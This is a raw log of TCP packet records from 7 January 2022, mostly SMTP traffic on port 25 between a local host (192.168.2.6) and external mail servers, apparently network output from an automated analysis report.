Jan 7, 2022 15:44:08.480566025 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:08.482140064 CET	50010	25	192.168.2.6	108.177.127.26
Jan 7, 2022 15:44:08.492392063 CET	25	50009	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:08.499610901 CET	25	50009	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:08.499763012 CET	50009	25	192.168.2.6	108.177.127.26
Jan 7, 2022 15:44:08.500117064 CET	50009	25	192.168.2.6	108.177.127.26
Jan 7, 2022 15:44:08.500138998 CET	50012	25	192.168.2.6	74.125.200.26
Jan 7, 2022 15:44:08.513789892 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:08.526745081 CET	25	50009	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:08.526774883 CET	25	50009	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:08.526850939 CET	50009	25	192.168.2.6	108.177.127.26
Jan 7, 2022 15:44:08.526890993 CET	50009	25	192.168.2.6	108.177.127.26
Jan 7, 2022 15:44:08.554169893 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:08.554260015 CET	50005	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:44:08.564724922 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:08.564894915 CET	50010	25	192.168.2.6	108.177.127.26
Jan 7, 2022 15:44:08.585836887 CET	49968	80	192.168.2.6	193.166.255.171
Jan 7, 2022 15:44:08.591154099 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:08.591629028 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:08.591828108 CET	50010	25	192.168.2.6	108.177.127.26
Jan 7, 2022 15:44:08.592464924 CET	50010	25	192.168.2.6	108.177.127.26
Jan 7, 2022 15:44:08.598100901 CET	25	49992	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:08.618772984 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:08.618870020 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:08.618870020 CET	50010	25	192.168.2.6	108.177.127.26
Jan 7, 2022 15:44:08.618901014 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:08.618938923 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:08.618944883 CET	50010	25	192.168.2.6	108.177.127.26
Jan 7, 2022 15:44:08.618968010 CET	50010	25	192.168.2.6	108.177.127.26
Jan 7, 2022 15:44:08.619000912 CET	50010	25	192.168.2.6	108.177.127.26
Jan 7, 2022 15:44:08.619024038 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:08.619316101 CET	50010	25	192.168.2.6	108.177.127.26
Jan 7, 2022 15:44:08.624732018 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:08.624826908 CET	50010	25	192.168.2.6	108.177.127.26
Jan 7, 2022 15:44:08.645240068 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:08.645287991 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:08.645318031 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:08.645345926 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:08.645365000 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:08.645382881 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:08.645396948 CET	50010	25	192.168.2.6	108.177.127.26
Jan 7, 2022 15:44:08.645432949 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:08.645463943 CET	50010	25	192.168.2.6	108.177.127.26
Jan 7, 2022 15:44:08.645466089 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:08.645484924 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:08.645493031 CET	50010	25	192.168.2.6	108.177.127.26
Jan 7, 2022 15:44:08.645503998 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:08.645514965 CET	50010	25	192.168.2.6	108.177.127.26
Jan 7, 2022 15:44:08.645586014 CET	50010	25	192.168.2.6	108.177.127.26
Jan 7, 2022 15:44:08.645600080 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:08.645622015 CET	50010	25	192.168.2.6	108.177.127.26
Jan 7, 2022 15:44:08.645627975 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:08.645656109 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:08.645683050 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:08.645697117 CET	50010	25	192.168.2.6	108.177.127.26
Jan 7, 2022 15:44:08.645709991 CET	50010	25	192.168.2.6	108.177.127.26
Jan 7, 2022 15:44:08.645713091 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:08.645720005 CET	50010	25	192.168.2.6	108.177.127.26
Jan 7, 2022 15:44:08.645765066 CET	50010	25	192.168.2.6	108.177.127.26
Jan 7, 2022 15:44:08.645787001 CET	50010	25	192.168.2.6	108.177.127.26
Jan 7, 2022 15:44:08.645791054 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:08.645852089 CET	50010	25	192.168.2.6	108.177.127.26
Jan 7, 2022 15:44:08.645860910 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:08.645890951 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:08.645962000 CET	50010	25	192.168.2.6	108.177.127.26
Jan 7, 2022 15:44:08.651212931 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:08.651257038 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:08.651396990 CET	50010	25	192.168.2.6	108.177.127.26
Jan 7, 2022 15:44:08.671766996 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:08.671839952 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:08.671899080 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:08.671992064 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:08.671997070 CET	50010	25	192.168.2.6	108.177.127.26
Jan 7, 2022 15:44:08.672051907 CET	50010	25	192.168.2.6	108.177.127.26
Jan 7, 2022 15:44:08.672071934 CET	50010	25	192.168.2.6	108.177.127.26
Jan 7, 2022 15:44:08.672144890 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:08.672173023 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:08.672254086 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:08.672261953 CET	50010	25	192.168.2.6	108.177.127.26
Jan 7, 2022 15:44:08.672283888 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:08.672313929 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:08.672339916 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:08.672367096 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:08.672367096 CET	50010	25	192.168.2.6	108.177.127.26
Jan 7, 2022 15:44:08.672385931 CET	50010	25	192.168.2.6	108.177.127.26
Jan 7, 2022 15:44:08.672394037 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:08.672410011 CET	50010	25	192.168.2.6	108.177.127.26
Jan 7, 2022 15:44:08.672430038 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:08.672435999 CET	50010	25	192.168.2.6	108.177.127.26
Jan 7, 2022 15:44:08.672457933 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:08.672465086 CET	50010	25	192.168.2.6	108.177.127.26
Jan 7, 2022 15:44:08.672487020 CET	25	50002	74.125.200.27	192.168.2.6
Jan 7, 2022 15:44:08.672491074 CET	50010	25	192.168.2.6	108.177.127.26
Jan 7, 2022 15:44:08.672513962 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:08.672527075 CET	50010	25	192.168.2.6	108.177.127.26
Jan 7, 2022 15:44:08.672540903 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:08.672578096 CET	50010	25	192.168.2.6	108.177.127.26
Jan 7, 2022 15:44:08.672612906 CET	50010	25	192.168.2.6	108.177.127.26
Jan 7, 2022 15:44:08.672658920 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:08.672684908 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:08.672727108 CET	50010	25	192.168.2.6	108.177.127.26
Jan 7, 2022 15:44:08.672744989 CET	50010	25	192.168.2.6	108.177.127.26
Jan 7, 2022 15:44:08.672755003 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:08.672832012 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:08.672910929 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:08.672925949 CET	50010	25	192.168.2.6	108.177.127.26
Jan 7, 2022 15:44:08.672955036 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:08.672981024 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:08.672993898 CET	50010	25	192.168.2.6	108.177.127.26
Jan 7, 2022 15:44:08.673008919 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:08.673013926 CET	50010	25	192.168.2.6	108.177.127.26
Jan 7, 2022 15:44:08.673037052 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:08.673052073 CET	50010	25	192.168.2.6	108.177.127.26
Jan 7, 2022 15:44:08.673064947 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:08.673085928 CET	50010	25	192.168.2.6	108.177.127.26
Jan 7, 2022 15:44:08.673095942 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:08.673105001 CET	50010	25	192.168.2.6	108.177.127.26
Jan 7, 2022 15:44:08.673122883 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:08.673139095 CET	50010	25	192.168.2.6	108.177.127.26
Jan 7, 2022 15:44:08.673151016 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:08.673165083 CET	50010	25	192.168.2.6	108.177.127.26
Jan 7, 2022 15:44:08.673207998 CET	50010	25	192.168.2.6	108.177.127.26
Jan 7, 2022 15:44:08.673230886 CET	50010	25	192.168.2.6	108.177.127.26
Jan 7, 2022 15:44:08.673274994 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:08.673304081 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:08.673330069 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:08.673343897 CET	50010	25	192.168.2.6	108.177.127.26
Jan 7, 2022 15:44:08.673358917 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:08.673396111 CET	50010	25	192.168.2.6	108.177.127.26
Jan 7, 2022 15:44:08.673399925 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:08.673408985 CET	50010	25	192.168.2.6	108.177.127.26
Jan 7, 2022 15:44:08.673428059 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:08.673449039 CET	50010	25	192.168.2.6	108.177.127.26
Jan 7, 2022 15:44:08.673471928 CET	50010	25	192.168.2.6	108.177.127.26
Jan 7, 2022 15:44:08.673501968 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:08.673504114 CET	50010	25	192.168.2.6	108.177.127.26
Jan 7, 2022 15:44:08.677594900 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:08.677618027 CET	50010	25	192.168.2.6	108.177.127.26
Jan 7, 2022 15:44:08.677691936 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:08.677717924 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:08.677742958 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:08.677778006 CET	50010	25	192.168.2.6	108.177.127.26
Jan 7, 2022 15:44:08.677808046 CET	50010	25	192.168.2.6	108.177.127.26
Jan 7, 2022 15:44:08.677839041 CET	50010	25	192.168.2.6	108.177.127.26
Jan 7, 2022 15:44:08.698930979 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:08.698972940 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:08.699001074 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:08.699028969 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:08.699048042 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:08.699063063 CET	50010	25	192.168.2.6	108.177.127.26
Jan 7, 2022 15:44:08.699131966 CET	50010	25	192.168.2.6	108.177.127.26
Jan 7, 2022 15:44:08.699147940 CET	50010	25	192.168.2.6	108.177.127.26
Jan 7, 2022 15:44:08.699162006 CET	50010	25	192.168.2.6	108.177.127.26
Jan 7, 2022 15:44:08.699172974 CET	50010	25	192.168.2.6	108.177.127.26
Jan 7, 2022 15:44:08.699290037 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:08.699362040 CET	50010	25	192.168.2.6	108.177.127.26
Jan 7, 2022 15:44:08.699363947 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:08.699451923 CET	50010	25	192.168.2.6	108.177.127.26
Jan 7, 2022 15:44:08.699562073 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:08.699589968 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:08.699645996 CET	50010	25	192.168.2.6	108.177.127.26
Jan 7, 2022 15:44:08.699661970 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:08.699665070 CET	50010	25	192.168.2.6	108.177.127.26
Jan 7, 2022 15:44:08.699729919 CET	50010	25	192.168.2.6	108.177.127.26
Jan 7, 2022 15:44:08.699748039 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:08.699775934 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:08.699805021 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:08.699831009 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:08.699832916 CET	50010	25	192.168.2.6	108.177.127.26
Jan 7, 2022 15:44:08.699850082 CET	50010	25	192.168.2.6	108.177.127.26
Jan 7, 2022 15:44:08.699896097 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:08.699899912 CET	50010	25	192.168.2.6	108.177.127.26
Jan 7, 2022 15:44:08.699923992 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:08.699975014 CET	50010	25	192.168.2.6	108.177.127.26
Jan 7, 2022 15:44:08.699995995 CET	50010	25	192.168.2.6	108.177.127.26
Jan 7, 2022 15:44:08.699996948 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:08.700063944 CET	50010	25	192.168.2.6	108.177.127.26
Jan 7, 2022 15:44:08.700071096 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:08.700099945 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:08.700126886 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:08.700150013 CET	50010	25	192.168.2.6	108.177.127.26
Jan 7, 2022 15:44:08.700154066 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:08.700167894 CET	50010	25	192.168.2.6	108.177.127.26
Jan 7, 2022 15:44:08.700182915 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:08.700196028 CET	50010	25	192.168.2.6	108.177.127.26
Jan 7, 2022 15:44:08.700213909 CET	50010	25	192.168.2.6	108.177.127.26
Jan 7, 2022 15:44:08.700215101 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:08.700268030 CET	50010	25	192.168.2.6	108.177.127.26
Jan 7, 2022 15:44:08.700283051 CET	50010	25	192.168.2.6	108.177.127.26
Jan 7, 2022 15:44:08.700330019 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:08.700356007 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:08.700382948 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:08.700404882 CET	50010	25	192.168.2.6	108.177.127.26
Jan 7, 2022 15:44:08.700411081 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:08.700427055 CET	50010	25	192.168.2.6	108.177.127.26
Jan 7, 2022 15:44:08.700462103 CET	50010	25	192.168.2.6	108.177.127.26
Jan 7, 2022 15:44:08.700498104 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:08.700516939 CET	50010	25	192.168.2.6	108.177.127.26
Jan 7, 2022 15:44:08.700525999 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:08.700552940 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:08.700581074 CET	50010	25	192.168.2.6	108.177.127.26
Jan 7, 2022 15:44:08.700582027 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:08.700598955 CET	50010	25	192.168.2.6	108.177.127.26
Jan 7, 2022 15:44:08.700611115 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:08.700640917 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:08.700642109 CET	50010	25	192.168.2.6	108.177.127.26
Jan 7, 2022 15:44:08.700655937 CET	50010	25	192.168.2.6	108.177.127.26
Jan 7, 2022 15:44:08.700678110 CET	50010	25	192.168.2.6	108.177.127.26
Jan 7, 2022 15:44:08.700707912 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:08.700733900 CET	50010	25	192.168.2.6	108.177.127.26
Jan 7, 2022 15:44:08.700737953 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:08.700764894 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:08.700779915 CET	50010	25	192.168.2.6	108.177.127.26
Jan 7, 2022 15:44:08.700812101 CET	50010	25	192.168.2.6	108.177.127.26
Jan 7, 2022 15:44:08.700836897 CET	50010	25	192.168.2.6	108.177.127.26
Jan 7, 2022 15:44:08.700922012 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:08.700951099 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:08.700982094 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:08.701006889 CET	50010	25	192.168.2.6	108.177.127.26
Jan 7, 2022 15:44:08.701011896 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:08.701029062 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:08.701037884 CET	50010	25	192.168.2.6	108.177.127.26
Jan 7, 2022 15:44:08.701056957 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:08.701077938 CET	50010	25	192.168.2.6	108.177.127.26
Jan 7, 2022 15:44:08.701083899 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:08.701108932 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:08.701111078 CET	50010	25	192.168.2.6	108.177.127.26
Jan 7, 2022 15:44:08.701136112 CET	50010	25	192.168.2.6	108.177.127.26
Jan 7, 2022 15:44:08.701137066 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:08.701159954 CET	50010	25	192.168.2.6	108.177.127.26
Jan 7, 2022 15:44:08.701184034 CET	50010	25	192.168.2.6	108.177.127.26
Jan 7, 2022 15:44:08.701206923 CET	50010	25	192.168.2.6	108.177.127.26
Jan 7, 2022 15:44:08.701215029 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:08.701241016 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:08.701267004 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:08.701286077 CET	50010	25	192.168.2.6	108.177.127.26
Jan 7, 2022 15:44:08.701297998 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:08.701313972 CET	50010	25	192.168.2.6	108.177.127.26
Jan 7, 2022 15:44:08.701316118 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:08.701344013 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:08.701368093 CET	50010	25	192.168.2.6	108.177.127.26
Jan 7, 2022 15:44:08.701390028 CET	50010	25	192.168.2.6	108.177.127.26
Jan 7, 2022 15:44:08.701430082 CET	50010	25	192.168.2.6	108.177.127.26
Jan 7, 2022 15:44:08.701461077 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:08.701488018 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:08.701514959 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:08.701533079 CET	50010	25	192.168.2.6	108.177.127.26
Jan 7, 2022 15:44:08.701544046 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:08.701564074 CET	50010	25	192.168.2.6	108.177.127.26
Jan 7, 2022 15:44:08.701595068 CET	50010	25	192.168.2.6	108.177.127.26
Jan 7, 2022 15:44:08.701607943 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:08.701634884 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:08.701652050 CET	50010	25	192.168.2.6	108.177.127.26
Jan 7, 2022 15:44:08.701663017 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:08.701680899 CET	50010	25	192.168.2.6	108.177.127.26
Jan 7, 2022 15:44:08.701683044 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:08.701725960 CET	50010	25	192.168.2.6	108.177.127.26
Jan 7, 2022 15:44:08.701752901 CET	50010	25	192.168.2.6	108.177.127.26
Jan 7, 2022 15:44:08.701756001 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:08.701782942 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:08.701809883 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:08.701822042 CET	50010	25	192.168.2.6	108.177.127.26
Jan 7, 2022 15:44:08.701852083 CET	50010	25	192.168.2.6	108.177.127.26
Jan 7, 2022 15:44:08.701875925 CET	50010	25	192.168.2.6	108.177.127.26
Jan 7, 2022 15:44:08.701922894 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:08.701948881 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:08.701977015 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:08.701988935 CET	50010	25	192.168.2.6	108.177.127.26
Jan 7, 2022 15:44:08.702016115 CET	50010	25	192.168.2.6	108.177.127.26
Jan 7, 2022 15:44:08.702048063 CET	50010	25	192.168.2.6	108.177.127.26
Jan 7, 2022 15:44:08.702050924 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:08.702079058 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:08.702106953 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:08.702125072 CET	50010	25	192.168.2.6	108.177.127.26
Jan 7, 2022 15:44:08.702136040 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:08.702152014 CET	50010	25	192.168.2.6	108.177.127.26
Jan 7, 2022 15:44:08.702163935 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:08.702173948 CET	50010	25	192.168.2.6	108.177.127.26
Jan 7, 2022 15:44:08.702205896 CET	50010	25	192.168.2.6	108.177.127.26
Jan 7, 2022 15:44:08.702227116 CET	50010	25	192.168.2.6	108.177.127.26
Jan 7, 2022 15:44:08.703841925 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:08.703867912 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:08.703933954 CET	50010	25	192.168.2.6	108.177.127.26
Jan 7, 2022 15:44:08.703938961 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:08.703964949 CET	50010	25	192.168.2.6	108.177.127.26
Jan 7, 2022 15:44:08.703967094 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:08.704016924 CET	50010	25	192.168.2.6	108.177.127.26
Jan 7, 2022 15:44:08.704035997 CET	50010	25	192.168.2.6	108.177.127.26
Jan 7, 2022 15:44:08.704044104 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:08.704073906 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:08.704101086 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:08.704128027 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:08.704147100 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:08.704147100 CET	50010	25	192.168.2.6	108.177.127.26
Jan 7, 2022 15:44:08.704161882 CET	50010	25	192.168.2.6	108.177.127.26
Jan 7, 2022 15:44:08.704211950 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:08.704258919 CET	50010	25	192.168.2.6	108.177.127.26
Jan 7, 2022 15:44:08.704317093 CET	50010	25	192.168.2.6	108.177.127.26
Jan 7, 2022 15:44:08.725454092 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:08.725493908 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:08.725509882 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:08.725533962 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:08.725558043 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:08.725644112 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:08.725644112 CET	50010	25	192.168.2.6	108.177.127.26
Jan 7, 2022 15:44:08.725670099 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:08.725687027 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:08.725713968 CET	50010	25	192.168.2.6	108.177.127.26
Jan 7, 2022 15:44:08.725722075 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:08.725783110 CET	50010	25	192.168.2.6	108.177.127.26
Jan 7, 2022 15:44:08.725845098 CET	50010	25	192.168.2.6	108.177.127.26
Jan 7, 2022 15:44:08.725950003 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:08.725979090 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:08.726032019 CET	50010	25	192.168.2.6	108.177.127.26
Jan 7, 2022 15:44:08.726051092 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:08.726069927 CET	50010	25	192.168.2.6	108.177.127.26
Jan 7, 2022 15:44:08.726118088 CET	50010	25	192.168.2.6	108.177.127.26
Jan 7, 2022 15:44:08.726332903 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:08.726358891 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:08.726421118 CET	50010	25	192.168.2.6	108.177.127.26
Jan 7, 2022 15:44:08.726492882 CET	50010	25	192.168.2.6	108.177.127.26
Jan 7, 2022 15:44:08.726552963 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:08.726743937 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:08.726843119 CET	50010	25	192.168.2.6	108.177.127.26
Jan 7, 2022 15:44:08.726852894 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:08.726932049 CET	50010	25	192.168.2.6	108.177.127.26
Jan 7, 2022 15:44:08.726969957 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:08.727221012 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:08.727349043 CET	50010	25	192.168.2.6	108.177.127.26
Jan 7, 2022 15:44:08.727456093 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:08.727530003 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:08.727643967 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:08.727804899 CET	50010	25	192.168.2.6	108.177.127.26
Jan 7, 2022 15:44:08.727844000 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:08.727904081 CET	50010	25	192.168.2.6	108.177.127.26
Jan 7, 2022 15:44:08.727921963 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:08.727951050 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:08.728028059 CET	50010	25	192.168.2.6	108.177.127.26
Jan 7, 2022 15:44:08.728063107 CET	25	50010	108.177.127.26	192.168.2.6
Jan 7, 2022 15:44:08.728104115 CET	50010	25	192.168.2.6	108.177.127.26
